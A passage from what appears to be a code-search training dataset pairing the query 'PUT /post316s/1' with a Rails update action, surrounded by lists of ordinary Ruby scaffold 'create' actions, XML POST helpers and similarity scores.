\"%20\")\r\n xml_data = open(uri).read\r\n if(xml_data.include? '\"test_id\":')\r\n recorded = xml_data.split('\"test_id\":')[1]\r\n testID = recorded.split(',\"status_id\"')[0]\r\n puts \"TestID:\"+testID\r\n else\r\n puts xml_data\r\n fail \"Cannot Post result to Testrail, check Webservice\"\r\n end\r\n\r\n timeStamp = Time.now.strftime (\"posted at %H:%M %d/%m/%Y\")\r\n files = \"//zgbwcfs3005.jupiter.bbc.co.uk/QA/Jenkins/Jupiter/ICETEAresultupdatelog.txt\"\r\n f = File.open(files,'a')\r\n f.write \"#{testID} #{timeStamp}\"\r\n f.close\r\nend", "def create\n @post275 = Post275.new(params[:post275])\n\n respond_to do |format|\n if @post275.save\n format.html { redirect_to(@post275, :notice => 'Post275 was successfully created.') }\n format.xml { render :xml => @post275, :status => :created, :location => @post275 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post275.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post217 = Post217.new(params[:post217])\n\n respond_to do |format|\n if @post217.save\n format.html { redirect_to(@post217, :notice => 'Post217 was successfully created.') }\n format.xml { render :xml => @post217, :status => :created, :location => @post217 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post217.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post215 = Post215.new(params[:post215])\n\n respond_to do |format|\n if @post215.save\n format.html { redirect_to(@post215, :notice => 'Post215 was successfully created.') }\n format.xml { render :xml => @post215, :status => :created, :location => @post215 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post215.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end", "def test_should_create_post_via_API_XML\r\n get \"/logout\"\r\n post \"/forum_posts.xml\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n end", "def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend", "def create\n @post272 = Post272.new(params[:post272])\n\n respond_to do |format|\n if @post272.save\n format.html { redirect_to(@post272, :notice => 'Post272 was successfully created.') }\n format.xml { render :xml => @post272, :status => :created, :location => @post272 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post272.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post295 = Post295.new(params[:post295])\n\n respond_to do |format|\n if @post295.save\n format.html { redirect_to(@post295, :notice => 'Post295 was successfully created.') }\n format.xml { render :xml => @post295, :status => :created, :location => @post295 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post295.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post328 = Post328.new(params[:post328])\n\n respond_to do |format|\n if @post328.save\n format.html { redirect_to(@post328, :notice => 'Post328 was successfully created.') }\n format.xml { render :xml => @post328, :status => :created, :location => @post328 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post328.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post184 = Post184.new(params[:post184])\n\n respond_to do |format|\n if @post184.save\n format.html { redirect_to(@post184, :notice => 'Post184 was successfully created.') }\n format.xml { render :xml => @post184, :status => :created, :location => @post184 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post184.errors, :status => :unprocessable_entity }\n end\n end\n end", "def postSyndication_submissionProcessed( syndication_submission_id)\n params = Hash.new\n params['syndication_submission_id'] = syndication_submission_id\n return doCurl(\"post\",\"/syndication_submission/processed\",params)\n end", "def create\n @post472 = Post472.new(params[:post472])\n\n respond_to do |format|\n if @post472.save\n format.html { redirect_to(@post472, :notice => 'Post472 was successfully created.') }\n format.xml { render :xml => @post472, :status => :created, :location => @post472 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post472.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post276 = Post276.new(params[:post276])\n\n respond_to do |format|\n if @post276.save\n format.html { redirect_to(@post276, :notice => 'Post276 was successfully created.') }\n format.xml { render :xml => @post276, :status => :created, :location => @post276 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post276.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def create\n @post181 = Post181.new(params[:post181])\n\n respond_to do |format|\n if @post181.save\n format.html { redirect_to(@post181, :notice => 'Post181 was successfully created.') }\n format.xml { render :xml => @post181, :status => :created, :location => @post181 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post181.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post297 = Post297.new(params[:post297])\n\n respond_to do |format|\n if @post297.save\n format.html { redirect_to(@post297, :notice => 'Post297 was successfully created.') }\n format.xml { render :xml => @post297, :status => :created, :location => @post297 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post297.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post267 = Post267.new(params[:post267])\n\n respond_to do |format|\n if @post267.save\n format.html { redirect_to(@post267, :notice => 'Post267 was successfully created.') }\n format.xml { render :xml => @post267, :status => :created, :location => @post267 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post267.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post78 = Post78.new(params[:post78])\n\n respond_to do |format|\n if @post78.save\n format.html { redirect_to(@post78, :notice => 'Post78 was successfully created.') }\n format.xml { render :xml => @post78, :status => :created, :location => @post78 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post78.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post248 = Post248.new(params[:post248])\n\n respond_to do |format|\n if @post248.save\n format.html { redirect_to(@post248, :notice => 'Post248 was successfully created.') }\n format.xml { render :xml => @post248, :status => :created, :location => @post248 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post248.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end", "def create\n @post57 = Post57.new(params[:post57])\n\n respond_to do |format|\n if @post57.save\n format.html { redirect_to(@post57, :notice => 'Post57 was successfully created.') }\n format.xml { render :xml => @post57, :status => :created, :location => @post57 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post57.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post176 = Post176.new(params[:post176])\n\n respond_to do |format|\n if @post176.save\n format.html { redirect_to(@post176, :notice => 'Post176 was successfully created.') }\n format.xml { render :xml => @post176, :status => :created, :location => @post176 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post176.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post139 = Post139.new(params[:post139])\n\n respond_to do |format|\n if @post139.save\n format.html { redirect_to(@post139, :notice => 'Post139 was successfully created.') }\n format.xml { render :xml => @post139, :status => :created, :location => @post139 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post139.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post; end", "def create\n @post335 = Post335.new(params[:post335])\n\n respond_to do |format|\n if @post335.save\n format.html { redirect_to(@post335, :notice => 'Post335 was successfully created.') }\n format.xml { render :xml => @post335, :status => :created, :location => @post335 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post335.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post464 = Post464.new(params[:post464])\n\n respond_to do |format|\n if @post464.save\n format.html { redirect_to(@post464, :notice => 'Post464 was successfully created.') }\n format.xml { render :xml => @post464, :status => :created, :location => @post464 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post464.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post182 = Post182.new(params[:post182])\n\n respond_to do |format|\n if @post182.save\n format.html { redirect_to(@post182, :notice => 'Post182 was successfully created.') }\n format.xml { render :xml => @post182, :status => :created, :location => @post182 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post182.errors, :status => :unprocessable_entity }\n end\n end\n end", "def send_post(data_xml,url)\r\n result = @client.post(self.target_uri(url), :body => data_xml , :head => {'Content-Type' => 'application/xml'} ) \r\n raise \"Invalid status #{result.http_status} from server #{@host}:#{@port}\" if(result.http_status != '200') \r\n #reply = Reply.from_xml(result.http_body)\r\n if block_given?\r\n yield(result.http_body)\r\n else\r\n result.http_body\r\n end\r\n end", "def create\n @post245 = Post245.new(params[:post245])\n\n respond_to do |format|\n if @post245.save\n format.html { redirect_to(@post245, :notice => 'Post245 was successfully created.') }\n format.xml { render :xml => @post245, :status => :created, :location => @post245 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post245.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post116 = Post116.new(params[:post116])\n\n respond_to do |format|\n if @post116.save\n format.html { redirect_to(@post116, :notice => 'Post116 was successfully created.') }\n format.xml { render :xml => @post116, :status => :created, :location => @post116 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post116.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post349 = Post349.new(params[:post349])\n\n respond_to do |format|\n if @post349.save\n format.html { redirect_to(@post349, :notice => 'Post349 was successfully created.') }\n format.xml { render :xml => @post349, :status => :created, :location => @post349 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post349.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post #:doc:\n end", "def post_data; end", "def new\n @post316 = Post316.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post316 }\n end\n end", "def create\n @post149 = Post149.new(params[:post149])\n\n respond_to do |format|\n if @post149.save\n format.html { redirect_to(@post149, :notice => 'Post149 was successfully created.') }\n format.xml { render :xml => @post149, :status => :created, :location => @post149 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post149.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post278 = Post278.new(params[:post278])\n\n respond_to do |format|\n if @post278.save\n format.html { redirect_to(@post278, :notice => 'Post278 was successfully created.') }\n format.xml { render :xml => @post278, :status => :created, :location => @post278 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post278.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post\r\n end", "def create\n @post81 = Post81.new(params[:post81])\n\n respond_to do |format|\n if @post81.save\n format.html { redirect_to(@post81, :notice => 'Post81 was successfully created.') }\n format.xml { render :xml => @post81, :status => :created, :location => @post81 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post81.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post377 = Post377.new(params[:post377])\n\n respond_to do |format|\n if @post377.save\n format.html { redirect_to(@post377, :notice => 'Post377 was successfully created.') }\n format.xml { render :xml => @post377, :status => :created, :location => @post377 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post377.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post445 = Post445.new(params[:post445])\n\n respond_to do |format|\n if @post445.save\n format.html { redirect_to(@post445, :notice => 'Post445 was successfully created.') }\n format.xml { render :xml => @post445, :status => :created, :location => @post445 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post445.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post446 = Post446.new(params[:post446])\n\n respond_to do |format|\n if @post446.save\n format.html { redirect_to(@post446, :notice => 'Post446 was successfully created.') }\n format.xml { render :xml => @post446, :status => :created, :location => @post446 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post446.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post\n doc = Nokogiri::XML(request.body)\n id= (doc/'id').text\n # p = Post.exists?(id) ? Post.find(id) : Post.new\n p= Post.find_or_create_by_intranet_id id\n p.update_attributes :subject => (doc/'subject').text,\n :body => (doc/'body').text, :post_type => (doc/'post-type').text,\n :pic => (doc/'pic') .text, :begin_on=>(doc/'begin-on').text,\n :pic_postimg => (doc/'pic-postimg').text,\n :video => (doc/'video').text, \n :end_on => (doc/'end-on').text, :stick => (doc/'stick').text \n render :text => \"ok\"\n end", "def create\n @post481 = Post481.new(params[:post481])\n\n respond_to do |format|\n if @post481.save\n format.html { redirect_to(@post481, :notice => 'Post481 was successfully created.') }\n format.xml { render :xml => @post481, :status => :created, :location => @post481 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post481.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post197 = Post197.new(params[:post197])\n\n respond_to do |format|\n if @post197.save\n format.html { redirect_to(@post197, :notice => 'Post197 was successfully created.') }\n format.xml { render :xml => @post197, :status => :created, :location => @post197 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post197.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post350 = Post350.new(params[:post350])\n\n respond_to do |format|\n if @post350.save\n format.html { redirect_to(@post350, :notice => 'Post350 was successfully created.') }\n format.xml { render :xml => @post350, :status => :created, :location => @post350 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post350.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post\n resource.post(request, response)\n end", "def create\n @post319 = Post319.new(params[:post319])\n\n respond_to do |format|\n if @post319.save\n format.html { redirect_to(@post319, :notice => 'Post319 was successfully created.') }\n format.xml { render :xml => @post319, :status => :created, :location => @post319 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post319.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post409 = Post409.new(params[:post409])\n\n respond_to do |format|\n if @post409.save\n format.html { redirect_to(@post409, :notice => 'Post409 was successfully created.') }\n format.xml { render :xml => @post409, :status => :created, :location => @post409 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post409.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post483 = Post483.new(params[:post483])\n\n respond_to do |format|\n if @post483.save\n format.html { redirect_to(@post483, :notice => 'Post483 was successfully created.') }\n format.xml { render :xml => @post483, :status => :created, :location => @post483 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post483.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post183 = Post183.new(params[:post183])\n\n respond_to do |format|\n if @post183.save\n format.html { redirect_to(@post183, :notice => 'Post183 was successfully created.') }\n format.xml { render :xml => @post183, :status => :created, :location => @post183 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post183.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post366 = Post366.new(params[:post366])\n\n respond_to do |format|\n if @post366.save\n format.html { redirect_to(@post366, :notice => 'Post366 was successfully created.') }\n format.xml { render :xml => @post366, :status => :created, :location => @post366 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post366.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(*args)\n request :post, *args\n end", "def submit\n\t\tset_post_data\n get_response @url\n parse_response\n\tend", "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "def create\n @post85 = Post85.new(params[:post85])\n\n respond_to do |format|\n if @post85.save\n format.html { redirect_to(@post85, :notice => 'Post85 was successfully created.') }\n format.xml { render :xml => @post85, :status => :created, :location => @post85 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post85.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post257 = Post257.new(params[:post257])\n\n respond_to do |format|\n if @post257.save\n format.html { redirect_to(@post257, :notice => 'Post257 was successfully created.') }\n format.xml { render :xml => @post257, :status => :created, :location => @post257 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post257.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post74 = Post74.new(params[:post74])\n\n respond_to do |format|\n if @post74.save\n format.html { redirect_to(@post74, :notice => 'Post74 was successfully created.') }\n format.xml { render :xml => @post74, :status => :created, :location => @post74 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post74.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post75 = Post75.new(params[:post75])\n\n respond_to do |format|\n if @post75.save\n format.html { redirect_to(@post75, :notice => 'Post75 was successfully created.') }\n format.xml { render :xml => @post75, :status => :created, :location => @post75 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post75.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post322 = Post322.new(params[:post322])\n\n respond_to do |format|\n if @post322.save\n format.html { redirect_to(@post322, :notice => 'Post322 was successfully created.') }\n format.xml { render :xml => @post322, :status => :created, :location => @post322 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post322.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post227 = Post227.new(params[:post227])\n\n respond_to do |format|\n if @post227.save\n format.html { redirect_to(@post227, :notice => 'Post227 was successfully created.') }\n format.xml { render :xml => @post227, :status => :created, :location => @post227 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post227.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post326 = Post326.new(params[:post326])\n\n respond_to do |format|\n if @post326.save\n format.html { redirect_to(@post326, :notice => 'Post326 was successfully created.') }\n format.xml { render :xml => @post326, :status => :created, :location => @post326 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post326.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "def create\n @post77 = Post77.new(params[:post77])\n\n respond_to do |format|\n if @post77.save\n format.html { redirect_to(@post77, :notice => 'Post77 was successfully created.') }\n format.xml { render :xml => @post77, :status => :created, :location => @post77 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post77.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post252 = Post252.new(params[:post252])\n\n respond_to do |format|\n if @post252.save\n format.html { redirect_to(@post252, :notice => 'Post252 was successfully created.') }\n format.xml { render :xml => @post252, :status => :created, :location => @post252 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post252.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post\n Rentlinx.client.post(self)\n end", "def create\n @post194 = Post194.new(params[:post194])\n\n respond_to do |format|\n if @post194.save\n format.html { redirect_to(@post194, :notice => 'Post194 was successfully created.') }\n format.xml { render :xml => @post194, :status => :created, :location => @post194 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post194.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post358 = Post358.new(params[:post358])\n\n respond_to do |format|\n if @post358.save\n format.html { redirect_to(@post358, :notice => 'Post358 was successfully created.') }\n format.xml { render :xml => @post358, :status => :created, :location => @post358 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post358.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post110 = Post110.new(params[:post110])\n\n respond_to do |format|\n if @post110.save\n format.html { redirect_to(@post110, :notice => 'Post110 was successfully created.') }\n format.xml { render :xml => @post110, :status => :created, :location => @post110 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post110.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post262 = Post262.new(params[:post262])\n\n respond_to do |format|\n if @post262.save\n format.html { redirect_to(@post262, :notice => 'Post262 was successfully created.') }\n format.xml { render :xml => @post262, :status => :created, :location => @post262 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post262.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post273 = Post273.new(params[:post273])\n\n respond_to do |format|\n if @post273.save\n format.html { redirect_to(@post273, :notice => 'Post273 was successfully created.') }\n format.xml { render :xml => @post273, :status => :created, :location => @post273 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post273.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post364 = Post364.new(params[:post364])\n\n respond_to do |format|\n if @post364.save\n format.html { redirect_to(@post364, :notice => 'Post364 was successfully created.') }\n format.xml { render :xml => @post364, :status => :created, :location => @post364 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post364.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post105 = Post105.new(params[:post105])\n\n respond_to do |format|\n if @post105.save\n format.html { redirect_to(@post105, :notice => 'Post105 was successfully created.') }\n format.xml { render :xml => @post105, :status => :created, :location => @post105 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post105.errors, :status => :unprocessable_entity }\n end\n end\n end", "def postSales_logSyndication( action_type, syndication_type, publisher_id, expiry_date, entity_id, group_id, seed_masheryid, supplier_masheryid, country, reseller_masheryid)\n params = Hash.new\n params['action_type'] = action_type\n params['syndication_type'] = syndication_type\n params['publisher_id'] = publisher_id\n params['expiry_date'] = expiry_date\n params['entity_id'] = entity_id\n params['group_id'] = group_id\n params['seed_masheryid'] = seed_masheryid\n params['supplier_masheryid'] = supplier_masheryid\n params['country'] = country\n params['reseller_masheryid'] = reseller_masheryid\n return doCurl(\"post\",\"/sales_log/syndication\",params)\n end", "def create\n @post193 = Post193.new(params[:post193])\n\n respond_to do |format|\n if @post193.save\n format.html { redirect_to(@post193, :notice => 'Post193 was successfully created.') }\n format.xml { render :xml => @post193, :status => :created, :location => @post193 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post193.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post470 = Post470.new(params[:post470])\n\n respond_to do |format|\n if @post470.save\n format.html { redirect_to(@post470, :notice => 'Post470 was successfully created.') }\n format.xml { render :xml => @post470, :status => :created, :location => @post470 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post470.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(*args)\n Request.post(*args)\n end", "def post(*args)\n request(:post, *args)\n end", "def create\n @post436 = Post436.new(params[:post436])\n\n respond_to do |format|\n if @post436.save\n format.html { redirect_to(@post436, :notice => 'Post436 was successfully created.') }\n format.xml { render :xml => @post436, :status => :created, :location => @post436 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post436.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post362 = Post362.new(params[:post362])\n\n respond_to do |format|\n if @post362.save\n format.html { redirect_to(@post362, :notice => 'Post362 was successfully created.') }\n format.xml { render :xml => @post362, :status => :created, :location => @post362 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post362.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end", "def post\n end", "def create\n @post453 = Post453.new(params[:post453])\n\n respond_to do |format|\n if @post453.save\n format.html { redirect_to(@post453, :notice => 'Post453 was successfully created.') }\n format.xml { render :xml => @post453, :status => :created, :location => @post453 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post453.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post246 = Post246.new(params[:post246])\n\n respond_to do |format|\n if @post246.save\n format.html { redirect_to(@post246, :notice => 'Post246 was successfully created.') }\n format.xml { render :xml => @post246, :status => :created, :location => @post246 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post246.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post58 = Post58.new(params[:post58])\n\n respond_to do |format|\n if @post58.save\n format.html { redirect_to(@post58, :notice => 'Post58 was successfully created.') }\n format.xml { render :xml => @post58, :status => :created, :location => @post58 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post58.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post72 = Post72.new(params[:post72])\n\n respond_to do |format|\n if @post72.save\n format.html { redirect_to(@post72, :notice => 'Post72 was successfully created.') }\n format.xml { render :xml => @post72, :status => :created, :location => @post72 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post72.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post228 = Post228.new(params[:post228])\n\n respond_to do |format|\n if @post228.save\n format.html { redirect_to(@post228, :notice => 'Post228 was successfully created.') }\n format.xml { render :xml => @post228, :status => :created, :location => @post228 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post228.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post106 = Post106.new(params[:post106])\n\n respond_to do |format|\n if @post106.save\n format.html { redirect_to(@post106, :notice => 'Post106 was successfully created.') }\n format.xml { render :xml => @post106, :status => :created, :location => @post106 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post106.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post66 = Post66.new(params[:post66])\n\n respond_to do |format|\n if @post66.save\n format.html { redirect_to(@post66, :notice => 'Post66 was successfully created.') }\n format.xml { render :xml => @post66, :status => :created, :location => @post66 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post66.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.59064585", "0.5880296", "0.57913655", "0.578824", "0.5699257", "0.56484497", "0.5628692", "0.5627111", "0.5621102", "0.56096923", "0.5598626", "0.55933845", "0.5591631", "0.55877405", "0.55799884", "0.5578797", "0.55697846", "0.55695444", "0.5567126", "0.55658454", "0.55617213", "0.55605906", "0.5552973", "0.55460757", "0.5544655", "0.55399513", "0.55297107", "0.55287087", "0.5528404", "0.5528044", "0.5525696", "0.55040646", "0.5502259", "0.5488896", "0.5479516", "0.5464955", "0.5463937", "0.5462943", "0.54594994", "0.54584485", "0.54580766", "0.5451266", "0.54433465", "0.5438518", "0.5434075", "0.54328626", "0.54129565", "0.5409575", "0.5408156", "0.5408066", "0.5402711", "0.540056", "0.54002005", "0.53990424", "0.53964555", "0.5394133", "0.539127", "0.5390622", "0.53892887", "0.53844553", "0.5376809", "0.53706896", "0.5368762", "0.5365416", "0.535937", "0.53584355", "0.5350074", "0.5349269", "0.5345871", "0.53376955", "0.5337486", "0.5334585", "0.5334007", "0.5333495", "0.5332749", "0.5327893", "0.5324718", "0.53243154", "0.53241265", "0.5322746", "0.53199446", "0.5314565", "0.5313205", "0.5310833", "0.53079474", "0.53044844", "0.530155", "0.5298672", "0.52980775", "0.52953655", "0.529342", "0.5289819", "0.52840275", "0.52814525", "0.52799743", "0.5279363", "0.52778894", "0.5275164", "0.5271971", "0.5269594" ]
0.63874596
0
PUT /post316s/1 PUT /post316s/1.xml
def update @post316 = Post316.find(params[:id]) respond_to do |format| if @post316.update_attributes(params[:post316]) format.html { redirect_to(@post316, :notice => 'Post316 was successfully updated.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @post316.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def update\n @post157 = Post157.find(params[:id])\n\n respond_to do |format|\n if @post157.update_attributes(params[:post157])\n format.html { redirect_to(@post157, :notice => 'Post157 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post157.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n @post156 = Post156.find(params[:id])\n\n respond_to do |format|\n if @post156.update_attributes(params[:post156])\n 